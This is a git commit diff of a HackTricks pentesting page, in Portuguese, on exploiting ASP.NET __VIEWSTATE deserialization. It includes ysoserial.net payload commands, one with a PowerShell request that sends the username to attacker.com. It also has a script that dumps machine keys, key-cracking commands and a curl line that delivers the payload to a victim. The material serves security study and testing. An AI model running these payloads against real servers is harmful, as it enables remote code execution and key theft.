mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
d40b8dd16b
commit
f46a59f374
@ -1,12 +1,10 @@
|
|||||||
# Explorando \_\_VIEWSTATE sem conhecer os segredos
|
# Exploiting \_\_VIEWSTATE without knowing the secrets
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## O que é ViewState
|
## O que é ViewState
|
||||||
|
|
||||||
**ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ocultos de ViewState.
|
**ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ViewState ocultos.
|
||||||
|
|
||||||
As informações do ViewState podem ser caracterizadas pelas seguintes propriedades ou suas combinações:
|
As informações do ViewState podem ser caracterizadas pelas seguintes propriedades ou suas combinações:
|
||||||
|
|
||||||
@ -34,7 +32,7 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
|||||||
```
|
```
|
||||||
**Identificando Atributos ViewState**
|
**Identificando Atributos ViewState**
|
||||||
|
|
||||||
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo esse parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo este parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||||
```
|
```
|
||||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||||
```
|
```
|
||||||
@ -106,19 +104,19 @@ Nos casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo ser
|
|||||||
```bash
|
```bash
|
||||||
--apppath="/" --path="/hello.aspx"
|
--apppath="/" --path="/hello.aspx"
|
||||||
```
|
```
|
||||||
### Caso de Teste: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
|
### Test Case: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
|
||||||
|
|
||||||
Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Machine Key para criptografar seu payload** para explorar a vulnerabilidade.
|
Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Machine Key para criptografar seu payload** para explorar a vulnerabilidade.
|
||||||
|
|
||||||
**Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...**
|
**Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...**
|
||||||
|
|
||||||
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** se **`ViewStateEncryptionMode`** tiver sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
|
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** que **`ViewStateEncryptionMode`** tenha sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se um remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
|
||||||
|
|
||||||
Portanto, se os atacantes encontrarem uma maneira de obter a Machinekey através de outra vulnerabilidade, como travessia de arquivos, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
|
Portanto, se os atacantes encontrarem uma maneira de obter a Machinekey através de outra vulnerabilidade, como travessia de arquivos, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
|
||||||
|
|
||||||
- Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do Viewstate e a exploração falhará.
|
- Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do Viewstate e a exploração falhará.
|
||||||
|
|
||||||
### Caso de Teste: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos como false
|
### Test Case: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos como false
|
||||||
|
|
||||||
Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo.
|
Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo.
|
||||||
```xml
|
```xml
|
||||||
@ -140,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
|||||||
```
|
```
|
||||||
Para uma descrição mais detalhada sobre IISDirPath e TargetPagePath [consulte aqui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
Para uma descrição mais detalhada sobre IISDirPath e TargetPagePath [consulte aqui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||||
|
|
||||||
Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (com um valor gerador):
|
Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (com um valor de gerador):
|
||||||
```bash
|
```bash
|
||||||
cd badsecrets
|
cd badsecrets
|
||||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||||
@ -166,7 +164,7 @@ Você precisa usar mais um parâmetro para criar corretamente a carga útil:
|
|||||||
```
|
```
|
||||||
### Resultado de uma Exploração Bem-Sucedida <a href="#poc" id="poc"></a>
|
### Resultado de uma Exploração Bem-Sucedida <a href="#poc" id="poc"></a>
|
||||||
|
|
||||||
Para todos os casos de teste, se o payload YSoSerial.Net do ViewState funcionar **com sucesso**, então o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
|
Para todos os casos de teste, se o payload YSoSerial.Net do ViewState funcionar **com sucesso**, o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
|
||||||
|
|
||||||
Verifique [mais informações aqui](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
Verifique [mais informações aqui](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||||
|
|
||||||
@ -188,7 +186,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
|
|||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Solicitar a página imprime a **ValidationKey**, **DecryptionKey**, o algoritmo de criptografia e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser inseridos diretamente no **ysoserial.net** para criar um gadget `__VIEWSTATE` válido e assinado:
|
Solicitar a página imprime a **ValidationKey**, **DecryptionKey**, o algoritmo de criptografia e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser alimentados diretamente no **ysoserial.net** para criar um gadget `__VIEWSTATE` válido e assinado:
|
||||||
```bash
|
```bash
|
||||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||||
-c "powershell -nop -c \"whoami\"" \
|
-c "powershell -nop -c \"whoami\"" \
|
||||||
@ -198,21 +196,19 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
|||||||
--islegacy --minify
|
--islegacy --minify
|
||||||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||||
```
|
```
|
||||||
Esta **primitiva de exfiltração de chave** foi amplamente explorada contra servidores SharePoint on-prem em 2025 ("ToolShell" – CVE-2025-53770/53771), mas é aplicável a qualquer aplicação ASP.NET onde um atacante possa executar código do lado do servidor.
|
Esta **primitiva de exfiltração de chave** foi amplamente explorada contra servidores SharePoint locais em 2025 ("ToolShell" – CVE-2025-53770/53771), mas é aplicável a qualquer aplicação ASP.NET onde um atacante possa executar código do lado do servidor.
|
||||||
|
|
||||||
## Cenários de Exploração do Mundo Real 2024-2025 e Chaves de Máquina Codificadas
|
## Cenários de Exploração do Mundo Real 2024-2025 e Chaves de Máquina Codificadas
|
||||||
|
|
||||||
### Onda de “chaves de máquina divulgadas publicamente” da Microsoft (Dez 2024 – Fev 2025)
|
### Onda de “chaves de máquina divulgadas publicamente” da Microsoft (Dez 2024 – Fev 2025)
|
||||||
A Microsoft Threat Intelligence relatou a exploração em massa de sites ASP.NET onde a *machineKey* havia sido previamente vazada em fontes públicas (gists do GitHub, postagens em blogs, sites de paste). Os adversários enumeraram essas chaves e geraram gadgets válidos `__VIEWSTATE` com os novos flags `ysoserial.net` 1.41 `--minify` e `--islegacy` para evadir limites de comprimento do WAF:
|
A Microsoft Threat Intelligence relatou a exploração em massa de sites ASP.NET onde a *machineKey* havia sido previamente vazada em fontes públicas (gists do GitHub, postagens de blogs, sites de paste). Os adversários enumeraram essas chaves e geraram gadgets válidos `__VIEWSTATE` com os novos flags `ysoserial.net` 1.41 `--minify` e `--islegacy` para evadir os limites de comprimento do WAF:
|
||||||
```bash
|
```bash
|
||||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||||
--generator=<VIEWSTATEGEN> --minify
|
--generator=<VIEWSTATEGEN> --minify
|
||||||
```
|
```
|
||||||
Rotacionar chaves estáticas ou mudar para chaves *AutoGenerate* no Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mitiga essa classe de ataques. {{#ref}}
|
Rotacionar chaves estáticas ou mudar para chaves *AutoGenerate* no Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mitiga essa classe de ataques.
|
||||||
|
|
||||||
{{#endref}}
|
|
||||||
|
|
||||||
### CVE-2025-30406 – Chaves codificadas de Gladinet CentreStack / Triofox
|
### CVE-2025-30406 – Chaves codificadas de Gladinet CentreStack / Triofox
|
||||||
A Kudelski Security descobriu que várias versões do CentreStack / Triofox foram lançadas com valores de `machineKey` idênticos, permitindo a execução remota de código não autenticado através da falsificação do ViewState (CVE-2025-30406).
|
A Kudelski Security descobriu que várias versões do CentreStack / Triofox foram lançadas com valores de `machineKey` idênticos, permitindo a execução remota de código não autenticado através da falsificação do ViewState (CVE-2025-30406).
|
||||||
|
Loading…
x
Reference in New Issue
Block a user